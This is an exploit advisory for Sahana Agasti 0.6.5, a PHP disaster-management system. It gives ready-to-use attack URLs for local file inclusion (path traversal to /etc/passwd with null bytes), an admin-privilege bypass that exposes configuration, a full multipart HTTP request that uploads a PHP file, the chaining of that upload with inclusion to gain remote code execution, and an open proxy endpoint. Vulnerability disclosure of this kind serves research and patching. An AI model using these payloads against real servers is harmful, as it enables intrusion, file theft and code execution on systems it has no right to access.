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'[[ $$,$$$$$$$$$$ "Y$c$$ 888_,o8P'88.d888888Y88 MMMMP"` "YmmMMMM""MMM YM [ Discovered by dun \ posdub[at]gmail.com ] [ dun / 2011-01-07 ] ############################################################# #[ Sahana Agasti <= 0.6.5 ]Multiple Vulnerabilities # ############################################################# # # Script: "Agasti is the PHP based project of the Sahana Software Foundation. #Based a long-term preparedness for disaster management..." # # Script site: http://www.sahanafoundation.org/ # Download: https://launchpad.net/sahana-agasti/ # [LFI] Vuln: ( Scenario 1) http://site.com/sahana-0.6.5/www/stream.php?stream_type=/../../../../../../../../../etc/passwd%00 File: ./sahana-0.6.5/www/stream.php 20 $global['approot'] = realpath(dirname(__FILE__)).'/../'; 21 // $global['approot'] = '/usr/local/bin/sahana/'; 22 $global['previous']=false; ...(CUT)... 39 if(!$global['previous']){ 40 $global['action'] = (NULL == $_REQUEST['act']) ? 41 "default" : $_REQUEST['act']; 42 $global['module'] = (NULL == $_REQUEST['mod']) ? 43 "home" : $_REQUEST['mod']; 44 } 45 $global['stream_type'] = $_GET['stream_type'];// [1] ...(CUT)... 52 shn_front_controller(); ...(CUT)... 64 function shn_front_controller() 65 { 66 global $global; 67 global $conf; 68 $approot = $global['approot']; 69 $action = $global['action']; 70 $module = $global['module']; ...(CUT)... 90 if($global['stream_type'] && file_exists($approot.'/inc/lib_st_'.$global['stream_type'].'.inc') ){// [2] 91 require_once ($approot.'/inc/lib_st_'.$global['stream_type'].'.inc'); // [3] LFI 92 if(file_exists($approot.'/mod/'.$module.'/'.$global['stream_type'].'.inc')) 93 $default_file = $approot.'/mod/'.$module.'/'.$global['stream_type'].'.inc'; 94 else 95 $default_file = 'stream.inc'; 96 } In this scenario script try to include something like this: /var/www/apache/sahana/www/..//inc/lib_st_/../../../../../../../../../etc/passwd\0.inc ################################################################################################################################ [LFI] Vuln: ( Scenario 2) http://site.com/sahana-0.6.5/www/stream.php?mod=/../../../../../../../../../etc/passwd%00 File: ./sahana-0.6.5/www/stream.php 42 $global['module'] = (NULL == $_REQUEST['mod']) ? 43 "home" : $_REQUEST['mod']; ...(CUT)... 70 $module = $global['module']; ...(CUT)... 90 if($global['stream_type'] && file_exists($approot.'/inc/lib_st_'.$global['stream_type'].'.inc') ){ 91 require_once ($approot.'/inc/lib_st_'.$global['stream_type'].'.inc'); 92 if(file_exists($approot.'/mod/'.$module.'/'.$global['stream_type'].'.inc')) 93 $default_file = $approot.'/mod/'.$module.'/'.$global['stream_type'].'.inc'; 94 else 95 $default_file = 'stream.inc'; 96 }else 97 $default_file = 'main.inc'; // [1] 98 99 // include the correct module file based on action and module 100 $module_file = $approot.'mod/'.$module.'/'.$default_file; // [2] 101 if (! file_exists($module_file)) {// 102 $module_file = $approot.'mod/home/'.$default_file; 103 } ...(CUT)... 109 //Include the module file 110 include($module_file);// [3] LFI In this scenario script try to include something like this: /var/www/apache/sahana/www/../mod//../../../../../../../../../etc/passwd\0/main.inc ################################################################################################################################ [LFI] Vuln: ( Scenario 3 without file_exists) http://site.com/sahana-0.6.5/www/stream.php?act=adm&mod=/../../../../../../../../../etc/passwd%00 File: ./sahana-0.6.5/www/stream.php 42 $global['module'] = (NULL == $_REQUEST['mod']) ?// [1] 43 "home" : $_REQUEST['mod']; ...(CUT)... 84 if (preg_match('/^adm/',$action)) { // 85 $module = 'admin';// [2] 86 $action = 'modadmin'; // 87 } ...(CUT)... 96 }else 97 $default_file = 'main.inc'; // [3] 98 99 // include the correct module file based on action and module 100 $module_file = $approot.'mod/'.$module.'/'.$default_file;// [4] ( /var/www/apache/sahana/www/../mod/admin/main.inc ) ...(CUT)... 110 include($module_file);// [5] ...(CUT)... 125 $module_function = 'shn_'.$module.'_'.$action;// [6] 126 if (!function_exists($module_function)) { // 127 $module_function='shn_'.$module.'_default'; 128 } 129 $_SESSION['last_module']=$module; 130 $_SESSION['last_action']=$action; 131 $output = $module_function();// [7]( shn_admin_modadmin() ) File: ./sahana-0.6.5/mod/admin/main.inc 161 function shn_admin_modadmin() 162 { 163 global $global; 164 165 // include original module admin section 166 include $global['approot']."/mod/".$global['module']."/admin.inc";// [8] LFI In this scenario script try to include something like this: /var/www/apache/sahana/www/..//mod//../../../../../../../../../etc/passwd\0/admin.inc ################################################################################################################################ [Configuration disclosure] Vuln: http://site.com/sahana-0.6.5/www/stream.php?mod=admin&act=conf_list File: ./sahana-0.6.5/www/stream.php 100 $module_file = $approot.'mod/'.$module.'/'.$default_file;// [1] ( /var/www/apache/sahana/www/../mod/admin/main.inc ) ...(CUT)... 110 include($module_file); // [2] ...(CUT)... 125 $module_function = 'shn_'.$module.'_'.$action; // [3] 126 if (!function_exists($module_function)) { 127 $module_function='shn_'.$module.'_default'; 128 } 129 $_SESSION['last_module']=$module; 130 $_SESSION['last_action']=$action; 131 $output = $module_function();// [4] ( shn_admin_conf_list()) File: ./sahana-0.6.5/mod/admin/main.inc 31 include_once $global['approot']."mod/admin/conf_admin.inc";// [5] File: ./sahana-0.6.5/mod/admin/conf_admin.inc 22 function shn_admin_conf_list() // [6] Configuration disclosure ...(CUT)... We can prepare function name, with using GET variables (mod, act) We can use prepared functions with "shn_" prefix, with bypassing admin privileges So lets see what next.. ################################################################################################################################ [Arbitrary File Upload] Vuln: http://site.com/sahana-0.6.5/www/stream.php?mod=admin&act=lc_file_browser File: ./sahana-0.6.5/www/stream.php 131 $output = $module_function();// [1] ( shn_admin_lc_file_browser() File: ./sahana-0.6.5/mod/admin/main.inc 683 function shn_admin_lc_file_browser() // [2] Arbitrary File Upload 684 { 685 global $global; 686 $locale = $_POST['locale']; 687 //$file_type=$_POST['file_type']; 688 $uploaddir = "../res/locale/$locale/LC_MESSAGES/"; 689 //"../res/locale/$locale/LC_MESSAGES/"; 690 //echo $uploaddir; 691 $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); 692 693 if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { 694 add_confirmation('File uploaded sucessfully'); 695 }else { 696 add_error('File uploaded failed'); 697 } 698 699 } We can upload some file to /res/locale/$locale/LC_MESSAGES/ (default $locale is my_MM), with using prepared POST Example: POST /sahana-0.6.5/www/stream.php?mod=admin&act=lc_file_browser HTTP/1.1 Host: site.com User-Agent: Mozilla/5.0 Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------11682257938924 Content-Length: 420 -----------------------------11682257938924 Content-Disposition: form-data; name="MAX_FILE_SIZE" 50000 -----------------------------11682257938924 Content-Disposition: form-data; name="userfile"; filename="file.txt" Content-Type: text/plain <?php phpinfo(); ?> -----------------------------11682257938924 Content-Disposition: form-data; name="locale" my_MM -----------------------------11682257938924-- File /res/locale/my_MM/LC_MESSAGES/file.txt is created We can use main.inc filename instead of file.txt So let's go back to LFI ( scenario 1,2 ): ( scenario 1 ) http://site.com/sahana-0.6.5/www/stream.php?stream_type=/../../res/locale/my_MM/LC_MESSAGES/main ( scenario 2 ) http://site.com/sahana-0.6.5/www/stream.php?mod=/..//res/locale/my_MM/LC_MESSAGES/ It includes LC_MESSAGES/main.inc with our <?php phpinfo(); ?> (AFU+LFI=RCE) ################################################################################################################################ [PHP Proxy] http://site.com/sahana-0.6.5/www/res/lib_proxy.php?url=http://site2.com/dupa.php File: ./sahana-0.6.5/www/res/lib_proxy.php 17$url = $_GET['url']; 18$parseurl = urldecode($url); 19 20// open cURL session 21$ch = curl_init(); 22curl_setopt($ch, CURLOPT_POST,1); 23curl_setopt($ch, CURLOPT_URL,$parseurl); 24curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,2); 25curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); 26curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); 27 28$xml = curl_exec($ch); 29curl_close($ch); 30 31header("Content-Type: text/xml"); 32 33echo $xml; ################################################################################################################################ And possible other bugs... ################################################################################################################################ |
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